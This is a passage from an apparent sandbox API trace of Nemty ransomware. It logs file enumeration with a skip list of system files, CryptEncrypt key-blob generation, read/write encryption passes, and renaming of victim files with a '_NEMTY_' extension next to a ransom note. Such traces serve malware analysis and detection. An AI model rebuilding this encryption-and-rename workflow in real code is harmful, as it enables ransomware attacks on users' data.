sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\bg_sidebar.png._nemty_kgobjgd_")) returned 0 [0147.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0147.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0147.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0147.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0147.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0147.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0147.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0147.450] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85af78c5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85af78c5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d761fef, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdb7, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2=".") returned 1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="..") returned 1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="...") returned 1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="windows") returned -1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="$RECYCLE.BIN") returned 1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="rsa") returned 1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="NTDETECT.COM") returned 1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="ntldr") returned 1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="MSDOS.SYS") returned 1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="IO.SYS") returned 1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="boot.ini") returned 1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="boot.ini") returned 1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="AUTOEXEC.BAT") returned 1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="ntuser.dat") returned 1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="desktop.ini") returned 1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="CONFIG.SYS") returned 1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="RECYCLER") returned 1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="BOOTSECT.BAK") returned 1 [0147.450] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="bootmgr") returned 1 [0147.451] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="programdata") returned 1 [0147.451] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="appdata") returned 1 [0147.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideshow_glass_frame.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0147.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideshow_glass_frame.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideshow_glass_frame.png", lpUsedDefaultChar=0x0) returned 25 [0147.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0147.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideshow_glass_frame.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0147.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideshow_glass_frame.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideshow_glass_frame.png", lpUsedDefaultChar=0x0) returned 25 [0147.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0147.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideshow_glass_frame.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0147.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0147.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideshow_glass_frame.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideshow_glass_frame.png", lpUsedDefaultChar=0x0) returned 25 [0147.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideshow_glass_frame.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0147.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0147.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slideshow_glass_frame.png", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slideshow_glass_frame.png", lpUsedDefaultChar=0x0) returned 25 [0147.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63403b0 [0147.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0147.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340488 [0147.451] Sleep (dwMilliseconds=0x5) [0147.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xb8aea90, dwHighDateTime=0x1d561e8)) [0147.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xb8aea90, dwHighDateTime=0x1d561e8)) [0147.465] GetLastError () returned 0x5 [0147.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0147.465] GetLastError () returned 0x5 [0147.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0147.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0147.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0147.465] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0147.465] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0147.465] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0147.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0147.465] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="ViDvxN+ZGvErjsOcNMeQDFzk5OwtV2rrCASgCTnDzIG2MY1gIkhg1f9vzLCLGfCD\r\n/8KXAl9I7K+kYe7SK5Fm9yckAEJtIQjp2SvtYF7LQCR3K8resBZqq+4dF+dINnKs\r\n1rNcEND2bij9Xs3syYt3+AHrb/6lTA4yBCtAUoXZTZSuwfLO/LzUsCLprIiUv25Q\r\n8v27IYVxInVqIClH3TugYiMbiuZgQjdRW6LATy2mIP/kozR7gmc2vZfnR8+qh2fa\r\nSZSMVdGDzhJQ6YDrNxw3HIeuOW8rBzqE3YhRUcyX8h28SxXQMfrIe4OHK3cGiIzh\r\n9m0QSN/DSpVmd6kjDcOoYA==\r\n", pcchString=0x653e5dc) returned 1 [0147.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0147.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0147.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0147.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0147.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0147.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0147.465] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\slideshow_glass_frame.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\slideshow_glass_frame.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0147.466] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0147.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0147.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.466] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.476] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.476] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.476] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.485] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.485] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.494] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.494] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.504] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.504] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.513] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.513] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.522] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.522] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.532] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.532] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.541] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.541] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.551] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.551] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.560] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.560] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.566] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.566] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0147.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.572] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0147.572] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0147.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0147.572] CloseHandle (hObject=0xffffffff) returned 0 [0147.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0147.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0147.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0147.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0147.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0147.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0147.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63440c0 [0147.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344198 [0147.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0147.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0147.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\slideshow_glass_frame.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\slideshow_glass_frame.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\slideshow_glass_frame.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\slideshow_glass_frame.png._nemty_kgobjgd_")) returned 0 [0147.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344198 | out: hHeap=0x4f90000) returned 1 [0147.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0147.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0147.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0147.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0147.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0147.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0147.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0147.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0147.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0147.573] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb757e30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xb757e30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xb757e30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0147.573] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0147.573] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0147.573] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0147.573] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0147.573] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0147.573] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", 